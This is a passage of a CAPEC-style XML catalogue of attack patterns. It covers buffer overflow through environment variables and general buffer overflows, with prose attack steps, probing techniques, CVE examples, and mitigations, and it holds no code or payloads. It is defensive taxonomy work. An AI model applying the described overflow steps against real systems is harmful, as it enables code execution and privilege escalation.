					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>434<!--Unrestricted Upload of File with Dangerous Type--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>122<!--Exploitation of Authorization--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<Relevant_Security_Requirements>
				<Relevant_Security_Requirement>
					<Text>All resources must be constrained to be inaccessible by default followed
						by selectively allowing access to resources as dictated by application and
						business logic</Text>
				</Relevant_Security_Requirement>
				<Relevant_Security_Requirement>
					<Text>In addition to a central controller, every resource must also restrict,
						wherever possible, incoming accesses as dictated by the relevant ACL.</Text>
				</Relevant_Security_Requirement>
			</Relevant_Security_Requirements>
			<Related_Security_Principles>
				<Related_Security_Principle>
					<Text>Failing Securely</Text>
				</Related_Security_Principle>
				<Related_Security_Principle>
					<Text>Least Privilege</Text>
				</Related_Security_Principle>
				<Related_Security_Principle>
					<Text>Reluctance To Trust</Text>
				</Related_Security_Principle>
				<Related_Security_Principle>
					<Text>Complete Mediation</Text>
				</Related_Security_Principle>
			</Related_Security_Principles>
			<Related_Guidelines>
				<Related_Guideline>
					<Text>Use Authorization Mechanisms Correctly</Text>
				</Related_Guideline>
				<Related_Guideline>
					<Text>Design Configuration Subsystems Correctly and Distribute Safe Default
						Configurations</Text>
				</Related_Guideline>
			</Related_Guidelines>
			<Purposes>
				<Purpose>Penetration</Purpose>
			</Purposes>
			<CIA_Impact>
				<Confidentiality_Impact>High</Confidentiality_Impact>
				<Integrity_Impact>Medium</Integrity_Impact>
				<Availability_Impact>Low</Availability_Impact>
			</CIA_Impact>
			<Technical_Context>
				<Architectural_Paradigms>
					<Architectural_Paradigm>All</Architectural_Paradigm>
				</Architectural_Paradigms>
				<Frameworks>
					<Framework>All</Framework>
				</Frameworks>
				<Platforms>
					<Platform>All</Platform>
				</Platforms>
				<Languages>
					<Language>All</Language>
				</Languages>
			</Technical_Context>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>John Steven</Submitter>
						<Submitter_Organization>Cigital, Inc</Submitter_Organization>
						<Submission_Date>2007-02-10</Submission_Date>
						<Submission_Comment>Initial core pattern content</Submission_Comment>
					</Submission>
				</Submissions>
				<Modifications>
					<Modification>
						<Modifier>Chiradeep B. Chhaya</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-02-23</Modification_Date>
						<Modification_Comment>Fleshed out pattern with extra
							content</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Richard Struse</Modifier>
						<Modifier_Organization>VOXEM, Inc</Modifier_Organization>
						<Modification_Date>2007-03-26</Modification_Date>
						<Modification_Comment>Review and feedback leading to changes in Attack
							Execution Flow, Attack Prerequisites, Examples and
							Solutions</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-04-13</Modification_Date>
						<Modification_Comment>Modified pattern content according to review and
							feedback</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Paco Hope</Modifier>
						<Modifier_Organization>Cigital, Inc.</Modifier_Organization>
						<Modification_Date>2007-10-20</Modification_Date>
						<Modification_Comment>Added extended Attack Execution
							Flow</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="10" Name="Buffer Overflow via Environment Variables"
			Pattern_Abstraction="Detailed" Pattern_Completeness="Complete" Status="Draft">
			<Description>
				<Summary>
					<Text>This attack pattern involves causing a buffer overflow through
						manipulation of environment variables. Once the attacker finds that they can
						modify an environment variable, they may try to overflow associated buffers.
						This attack leverages implicit trust often placed in environment
						variables.</Text>
				</Summary>
				<Attack_Execution_Flow>
					<Attack_Phases>
						<Attack_Phase ID="1" Name="">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Description>
											<Text>The attacker tries to find an environment variable
												which can be overwritten for instance by gathering
												information about the target host (error pages,
												software's version number, etc.).</Text>
										</Attack_Step_Description>
									</Custom_Attack_Step>
								</Attack_Step>
								<Attack_Step ID="2">
									<Custom_Attack_Step>
										<Attack_Step_Description>
											<Text>The attacker manipulates the environment variable
												to contain excessive-length content to cause a
												buffer overflow.</Text>
										</Attack_Step_Description>
									</Custom_Attack_Step>
								</Attack_Step>
								<Attack_Step ID="3">
									<Custom_Attack_Step>
										<Attack_Step_Description>
											<Text>The attacker potentially leverages the buffer
												overflow to inject maliciously crafted code in an
												attempt to execute privileged command on the target
												environment.</Text>
										</Attack_Step_Description>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
					</Attack_Phases>
				</Attack_Execution_Flow>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>The application uses environment variables.</Text>
				</Attack_Prerequisite>
				<Attack_Prerequisite>
					<Text>An environment variable exposed to the user is vulnerable to a buffer
						overflow.</Text>
				</Attack_Prerequisite>
				<Attack_Prerequisite>
					<Text>The vulnerable environment variable uses untrusted data.</Text>
				</Attack_Prerequisite>
				<Attack_Prerequisite>
					<Text>Tainted data used in the environment variables is not properly validated.
						For instance boundary checking is not done before copying the input data to
						a buffer.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>High</Typical_Severity>
			<Typical_Likelihood_of_Exploit>
				<Likelihood>High</Likelihood>
				<Explanation/>
			</Typical_Likelihood_of_Exploit>
			<Methods_of_Attack>
				<Method_of_Attack>Injection</Method_of_Attack>
			</Methods_of_Attack>
			<Examples-Instances>
				<Example-Instance>
					<Example-Instance_Description>
						<Text_Title>Attack Example: Buffer Overflow in $HOME</Text_Title>
						<Text>A buffer overflow in sccw allows local users to gain root access via
							the $HOME environmental variable.</Text>
					</Example-Instance_Description>
					<Example-Instance_Related_Vulnerabilities>
						<Example-Instance_Related_Vulnerability>
							<Text>CVE-1999-0906</Text>
						</Example-Instance_Related_Vulnerability>
					</Example-Instance_Related_Vulnerabilities>
				</Example-Instance>
				<Example-Instance>
					<Example-Instance_Description>
						<Text_Title>Attack Example: Buffer Overflow in TERM</Text_Title>
						<Text>A buffer overflow in the rlogin program involves its consumption of
							the TERM environmental variable.</Text>
					</Example-Instance_Description>
					<Example-Instance_Related_Vulnerabilities>
						<Example-Instance_Related_Vulnerability>
							<Text>CVE-1999-0046</Text>
						</Example-Instance_Related_Vulnerability>
					</Example-Instance_Related_Vulnerabilities>
				</Example-Instance>
			</Examples-Instances>
			<Attacker_Skills_or_Knowledge_Required>
				<Attacker_Skill_or_Knowledge_Required>
					<Skill_or_Knowledge_Level>Low</Skill_or_Knowledge_Level>
					<Skill_or_Knowledge_Type>
						<Text>An attacker can simply overflow a buffer by inserting a long string
							into an attacker-modifiable injection vector. The result can be a
							DoS.</Text>
						<Text>High : Exploiting a buffer overflow to inject malicious code into the
							stack of a software system or even the heap can require a higher skill
							level.</Text>
					</Skill_or_Knowledge_Type>
				</Attacker_Skill_or_Knowledge_Required>
			</Attacker_Skills_or_Knowledge_Required>
			<Resources_Required/>
			<Probing_Techniques>
				<Probing_Technique>
					<Description>
						<Text>While interacting with a system an attacker would typically
							investigate for environment variables that can be overwritten. The more
							a user knows about a system the more likely she will find a vulnerable
							environment variable.</Text>
					</Description>
				</Probing_Technique>
				<Probing_Technique>
					<Description>
						<Text>On a web environment, the attacker can read the client side code and
							search for environment variables that can be overwritten.</Text>
					</Description>
				</Probing_Technique>
				<Probing_Technique>
					<Description>
						<Text>There are tools such as Sharefuzz (http://sharefuzz.sourceforge.net/)
							which is an environment variable fuzzer for Unix that support loading a
							shared library. Attackers can use such tools to uncover a buffer
							overflow in an environment variable.</Text>
					</Description>
				</Probing_Technique>
			</Probing_Techniques>
			<Indicators-Warnings_of_Attack>
				<Indicator-Warning_of_Attack>
					<Description>
						<Text>If the application does bound checking, it should fail when the data
							source is larger than the size of the destination buffer. If the
							application's code is well written, that failure should triger an
							alert.</Text>
					</Description>
				</Indicator-Warning_of_Attack>
			</Indicators-Warnings_of_Attack>
			<Solutions_and_Mitigations>
				<Solution_or_Mitigation>
					<Text>Do not expose environment variable to the user.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Do not use untrusted data in your environment variables.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Use a language or compiler that performs automatic bounds checking</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>There are tools such as Sharefuzz (http://sharefuzz.sourceforge.net/)
						which is an environment variable fuzzer for Unixes that support loading a
						shared library. You can use Sharefuzz to determine if you are exposing an
						environment variable vulnerable to buffer overflow.</Text>
				</Solution_or_Mitigation>
			</Solutions_and_Mitigations>
			<Attack_Motivation-Consequences>
				<!--Denial of Service-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Availability</Consequence_Scope>
					<Consequence_Technical_Impact>DoS: crash / exit /
						restart</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Run Arbitrary Code-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Scope>Integrity</Consequence_Scope>
					<Consequence_Scope>Availability</Consequence_Scope>
					<Consequence_Technical_Impact>Execute unauthorized code or
						commands</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Information Leakage-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Technical_Impact>Read memory</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Data Modification-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Integrity</Consequence_Scope>
					<Consequence_Technical_Impact>Modify memory</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Privilege Escalation-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Scope>Access_Control</Consequence_Scope>
					<Consequence_Scope>Authorization</Consequence_Scope>
					<Consequence_Technical_Impact>Gain privileges / assume
						identity</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
			</Attack_Motivation-Consequences>
			<Injection_Vector>
				<Text>The user modifiable environment variable.</Text>
			</Injection_Vector>
			<Payload>
				<Text>User supplied data potentially containing malicious code.</Text>
			</Payload>
			<Activation_Zone>
				<Text>When the subroutine which uses the environment variable returns control to the
					main program, it jumps to the return address portion of the stack frame.
					Unfortunately that return address may have been overwritten by the overflowed
					buffer and the address may contain a call to a privileged command or to a
					malicious code.</Text>
			</Activation_Zone>
			<Payload_Activation_Impact>
				<Description>
					<Text>The most common is remote code execution.</Text>
				</Description>
			</Payload_Activation_Impact>
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>120<!--Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>302<!--Authentication Bypass by Assumed-Immutable Data--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>118<!--Improper Access of Indexable Resource ('Range Error')--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>119<!--Improper Restriction of Operations within the Bounds of a Memory Buffer--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>74<!--Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>99<!--Improper Control of Resource Identifiers ('Resource Injection')--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>20<!--Improper Input Validation--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>680<!--Integer Overflow to Buffer Overflow--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>733<!--Compiler Optimization Removal or Modification of Security-critical Code--></CWE_ID>

					<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>697<!--Insufficient Comparison--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID>1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>77<!--Manipulating User-Controlled Variables--></Relationship_Target_ID>
				</Related_Attack_Pattern>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>100<!--Overflow Buffers--></Relationship_Target_ID>
				</Related_Attack_Pattern>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID>333</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Category</Relationship_Target_Form>
					<Relationship_Nature>HasMember</Relationship_Nature>
					<Relationship_Target_ID>340<!--WASC Threat Classification 2.0 - WASC-07 - Buffer Overflow--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<Related_Security_Principles>
				<Related_Security_Principle>
					<Text>Reluctance to trust</Text>
				</Related_Security_Principle>
			</Related_Security_Principles>
			<Related_Guidelines>
				<Related_Guideline>
					<Text>Bound checking should be performed when copying data to a buffer.</Text>
				</Related_Guideline>
			</Related_Guidelines>
			<Purposes>
				<Purpose>Penetration</Purpose>
			</Purposes>
			<CIA_Impact>
				<Confidentiality_Impact>High</Confidentiality_Impact>
				<Integrity_Impact>High</Integrity_Impact>
				<Availability_Impact>High</Availability_Impact>
			</CIA_Impact>
			<Technical_Context>
				<Architectural_Paradigms>
					<Architectural_Paradigm>All</Architectural_Paradigm>
				</Architectural_Paradigms>
				<Frameworks>
					<Framework>All</Framework>
				</Frameworks>
				<Platforms>
					<Platform>All</Platform>
				</Platforms>
				<Languages>
					<Language>All</Language>
				</Languages>
			</Technical_Context>
			<References>
				<Reference>
					<Reference_Author>G. Hoglund</Reference_Author>
					<Reference_Author>G. McGraw</Reference_Author>
					<Reference_Title>Exploiting Software: How to Break Code</Reference_Title>
					<Reference_Publisher>Addison-Wesley</Reference_Publisher>
					<Reference_PubDate>February 2004</Reference_PubDate>
				</Reference>
				<Reference>
					<Reference_Description>
						<Text>CWE - Buffer Errors</Text>
					</Reference_Description>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>G. Hoglund and G. McGraw. Exploiting Software: How to Break Code.
							Addison-Wesley, February 2004.</Submitter>
						<Submitter_Organization>Cigital, Inc</Submitter_Organization>
						<Submission_Date>2007-03-01</Submission_Date>
					</Submission>
				</Submissions>
				<Modifications>
					<Modification>
						<Modifier>Eric Dalci</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-02-13</Modification_Date>
						<Modification_Comment>Fleshed out content to CAPEC schema from the original
							descriptions in "Exploiting Software"</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-03-05</Modification_Date>
						<Modification_Comment>Review and revise</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Richard Struse</Modifier>
						<Modifier_Organization>VOXEM, Inc</Modifier_Organization>
						<Modification_Date>2007-03-26</Modification_Date>
						<Modification_Comment>Review and feedback leading to changes in
							Name</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-04-13</Modification_Date>
						<Modification_Comment>Modified pattern content according to review and
							feedback</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="100" Name="Overflow Buffers" Pattern_Abstraction="Standard"
			Pattern_Completeness="Complete" Status="Draft">
			<Description>
				<Summary>
					<Text>Buffer Overflow attacks target improper or missing bounds checking on
						buffer operations, typically triggered by input injected by an attacker. As
						a consequence, an attacker is able to write past the boundaries of allocated
						buffer regions in memory, causing a program crash or potentially redirection
						of execution as per the attacker's choice.</Text>
				</Summary>
				<Attack_Execution_Flow>
					<Attack_Phases>
						<Attack_Phase ID="1" Name="">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Description>
											<Text>The attacker identifies a buffer to target. Buffer
												regions are either allotted on the stack or the
												heap, and the exact nature of attack would vary
												depending on the location of the buffer</Text>
										</Attack_Step_Description>
									</Custom_Attack_Step>
								</Attack_Step>
								<Attack_Step ID="-1">
									<Custom_Attack_Step>
										<Attack_Step_Description>
											<Text>Next, the attacker identifies an injection vector
												to deliver the excessive content to the targeted
												buffer.</Text>
										</Attack_Step_Description>
									</Custom_Attack_Step>
								</Attack_Step>
								<Attack_Step ID="2">
									<Custom_Attack_Step>
										<Attack_Step_Description>
											<Text>The attacker crafts the content to be injected. If
												the intent is to simply cause the software to crash,
												the content need only consist of an excessive
												quantity of random data. If the intent is to
												leverage the overflow for execution of arbitrary
												code, the attacker will craft a set of content that
												not only overflows the targeted buffer but does so
												in such a way that the overwritten return address is
												replaced with one of the attacker's choosing which
												points to code injected by the attacker.</Text>
										</Attack_Step_Description>
									</Custom_Attack_Step>
								</Attack_Step>
								<Attack_Step ID="3">
									<Custom_Attack_Step>
										<Attack_Step_Description>
											<Text>The attacker injects the content into the targeted
												software.</Text>
										</Attack_Step_Description>
									</Custom_Attack_Step>
								</Attack_Step>
								<Attack_Step ID="4">
									<Custom_Attack_Step>
										<Attack_Step_Description>
											<Text>Upon successful exploitation, the system either
												crashes or control of the program is returned to a
												location of the attacker's choice. This can result
												in execution of arbitrary code or escalated
												privileges, depending upon the exploited
												target.</Text>
										</Attack_Step_Description>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
					</Attack_Phases>
				</Attack_Execution_Flow>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>Targeted software performs buffer operations.</Text>
				</Attack_Prerequisite>
				<Attack_Prerequisite>
					<Text>Targeted software inadequately performs bounds-checking on buffer
						operations.</Text>
				</Attack_Prerequisite>
				<Attack_Prerequisite>
					<Text>Attacker has the capability to influence the input to buffer
						operations.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>Very High</Typical_Severity>
			<Typical_Likelihood_of_Exploit>
				<Likelihood>High</Likelihood>
				<Explanation/>
			</Typical_Likelihood_of_Exploit>
			<Methods_of_Attack>
				<Method_of_Attack>Injection</Method_of_Attack>
				<Method_of_Attack>Analysis</Method_of_Attack>
			</Methods_of_Attack>
			<Examples-Instances>
				<Example-Instance>
					<Example-Instance_Description>
						<Text>The most straightforward example is an application that reads in input
							from the user and stores it in an internal buffer but does not check
							that the size of the input data is less than or equal to the size of the
							buffer. If the user enters excessive length data, the buffer may
							overflow leading to the application crashing, or worse, enabling the
							user to cause execution of injected code.</Text>
					</Example-Instance_Description>
				</Example-Instance>
				<Example-Instance>
					<Example-Instance_Description>
						<Text>Many web servers enforce security in web applications through the use
							of filter plugins. An example is the SiteMinder plugin used for
							authentication. An overflow in such a plugin, possibly through a long
							URL or redirect parameter, can allow an attacker not only to bypass the
							security checks but also execute arbitrary code on the target web server
							in the context of the user that runs the web server process.</Text>
					</Example-Instance_Description>
				</Example-Instance>
			</Examples-Instances>
			<Attacker_Skills_or_Knowledge_Required>
				<Attacker_Skill_or_Knowledge_Required>
					<Skill_or_Knowledge_Level>Low</Skill_or_Knowledge_Level>
					<Skill_or_Knowledge_Type>
						<Text>In most cases, overflowing a buffer does not require advanced skills
							beyond the ability to notice an overflow and stuff an input variable
							with content.</Text>
					</Skill_or_Knowledge_Type>
				</Attacker_Skill_or_Knowledge_Required>
				<Attacker_Skill_or_Knowledge_Required>
					<Skill_or_Knowledge_Level>High</Skill_or_Knowledge_Level>
					<Skill_or_Knowledge_Type>
						<Text>In cases of directed overflows, where the motive is to divert the flow
							of the program or application as per the attacker's bidding, high level
							skills are required. This may involve detailed knowledge of the target
							system architecture and kernel.</Text>
					</Skill_or_Knowledge_Type>
				</Attacker_Skill_or_Knowledge_Required>
			</Attacker_Skills_or_Knowledge_Required>
			<Resources_Required>
				<Text>None: Detecting and exploiting a buffer overflow does not require any
					resources beyond knowledge of and access to the target system.</Text>
			</Resources_Required>
			<Probing_Techniques>
				<Probing_Technique>
					<Description>
						<Text>The attacker sends in overtly long input in variables under his
							control. If the target system or application handles it gracefully, the
							attack becomes difficult. However, an error condition or a system crash
							point to a high likelihood of successful exploitation.</Text>
					</Description>
				</Probing_Technique>
				<Probing_Technique>
					<Description>
						<Text>In cases where the attack is directed at a particular system or
							application, such as an operating system or a web server, the attacker
							can refer to system architecture and design documentation to figure out
							the exact point of injection and exploitation.</Text>
					</Description>
				</Probing_Technique>
			</Probing_Techniques>
			<Indicators-Warnings_of_Attack>
				<Indicator-Warning_of_Attack>
					<Description>
						<Text>An attack designed to leverage a buffer overflow and redirect
							execution as per the attacker's bidding is fairly difficult to detect.
							An attack aimed solely at bringing the system down is usually preceded
							by a barrage of long inputs that make no sense. In either case, it is
							likely that the attacker would have resorted to a few hit-or-miss
							attempts that will be recorded in the system event logs, if they
							exist.</Text>
					</Description>
				</Indicator-Warning_of_Attack>
			</Indicators-Warnings_of_Attack>
			<Obfuscation_Techniques>
				<Obfuscation_Technique>
					<Description>
						<Text>A buffer overflow attack itself is pretty difficult to obfuscate.
							There, however, exist fairly advanced techniques to ofuscate the
							payload, in order to bypass an intrusion detection system or filtering,
							either in the application or by means of an application firewall of some
							sorts.</Text>
					</Description>
				</Obfuscation_Technique>
			</Obfuscation_Techniques>
			<Solutions_and_Mitigations>
				<Solution_or_Mitigation>
					<Text>Use a language or compiler that performs automatic bounds checking.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Use secure functions not vulnerable to buffer overflow.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>If you have to use dangerous functions, make sure that you do boundary
						checking.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Compiler-based canary mechanisms such as StackGuard, ProPolice and the
						Microsoft Visual Studio /GS flag. Unless this provides automatic bounds
						checking, it is not a complete solution.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Use OS-level preventative functionality. Not a complete solution.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Utilize static source code analysis tools to identify potential buffer
						overflow weaknesses in the software.</Text>
				</Solution_or_Mitigation>
			</Solutions_and_Mitigations>
			<Attack_Motivation-Consequences>
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Availability</Consequence_Scope>
					<Consequence_Technical_Impact>DoS: crash / exit /
						restart</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Scope>Integrity</Consequence_Scope>
					<Consequence_Scope>Availability</Consequence_Scope>
					<Consequence_Technical_Impact>Execute unauthorized code or
						commands</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Scope>Access_Control</Consequence_Scope>
					<Consequence_Scope>Authorization</Consequence_Scope>
					<Consequence_Technical_Impact>Gain privileges / assume
						identity</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
			</Attack_Motivation-Consequences>
			<Injection_Vector>
				<Text>User-controllable input. Usually, any input that a user can control is prone
					to exploitation by overflow.</Text>
			</Injection_Vector>
			<Payload>
				<Text>Malicious content, such as an overtly long input string, system shellcode or
					commands, intended to cause a system crash and denial of service, or to escalate
					privilege or execute code that results in information disclosure or system
					compromise.</Text>
			</Payload>
			<Activation_Zone>
				<Text>Buffer allocated in memory for the input that carried the payload.</Text>
			</Activation_Zone>
			<Payload_Activation_Impact>
				<Description>
					<Text>Denial of service, escalated privileges, execution of arbitrary code,
						including system commands and low-level assembly code.</Text>
				</Description>
			</Payload_Activation_Impact>
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>120<!--Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>119<!--Improper Restriction of Operations within the Bounds of a Memory Buffer--></CWE_ID>

					<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>131<!--Incorrect Calculation of Buffer Size--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>129<!--Improper Validation of Array Index--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>805<!--Buffer Access with Incorrect Length Value--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>19<!--Data Handling--></CWE_ID>

					<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>680<!--Integer Overflow to Buffer Overflow--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Related_Vulnerabilities>
				<Related_Vulnerability>
					<Vulnerability_ID>CVE-2007-2139</Vulnerability_ID>
					<Vulnerability_Description>
						<Text>Multiple stack-based buffer overflows in the SUN RPC service in CA
							(formerly Computer Associates) BrightStor ARCserve Media Server, as used
							in BrightStor ARCserve Backup 9.01 through 11.5 SP2, BrightStor
							Enterprise Backup 10.5, Server Protection Suite 2, and Business
							Protection Suite 2, allow remote attackers to execute arbitrary code via
							malformed RPC strings.</Text>
					</Vulnerability_Description>
				</Related_Vulnerability>
				<Related_Vulnerability>
					<Vulnerability_ID>CVE-2007-1910</Vulnerability_ID>
					<Vulnerability_Description>
						<Text>Buffer overflow in wwlib.dll in Microsoft Word 2007 allows remote
							attackers to cause a denial of service (application crash) and possibly
							execute arbitrary code via a crafted document</Text>
					</Vulnerability_Description>
				</Related_Vulnerability>
			</Related_Vulnerabilities>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID>1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>CanPrecede</Relationship_Nature>
					<Relationship_Target_ID>24<!--Filter Failure through Buffer Overflow--></Relationship_Target_ID>
				</Related_Attack_Pattern>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>123<!--Buffer Attacks--></Relationship_Target_ID>
				</Related_Attack_Pattern>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID>333</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Category</Relationship_Target_Form>
					<Relationship_Nature>HasMember</Relationship_Nature>
					<Relationship_Target_ID>340<!--WASC Threat Classification 2.0 - WASC-07 - Buffer Overflow--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<Relevant_Security_Requirements>
				<Relevant_Security_Requirement>
					<Text>All user-controllable input must be strictly validated for enforcement of
						length and semantic checks</Text>
				</Relevant_Security_Requirement>
				<Relevant_Security_Requirement>
					<Text>All exception conditions (such as ArrayIndexOutOfBounds) in applications
						must be gracefully handled through use of available exception handling
						mechanisms.</Text>
				</Relevant_Security_Requirement>
				<Relevant_Security_Requirement>
					<Text>All applications and processes must be run with minimum privileges
						necessary so as to avoid an escalation of privilege in case of a successful
						exploit.</Text>
				</Relevant_Security_Requirement>
			</Relevant_Security_Requirements>
			<Related_Security_Principles>
				<Related_Security_Principle>
					<Text>Reluctance To Trust</Text>
				</Related_Security_Principle>
				<Related_Security_Principle>
					<Text>Defense in Depth</Text>
				</Related_Security_Principle>
				<Related_Security_Principle>
					<Text>Failing Securely</Text>
				</Related_Security_Principle>
			</Related_Security_Principles>
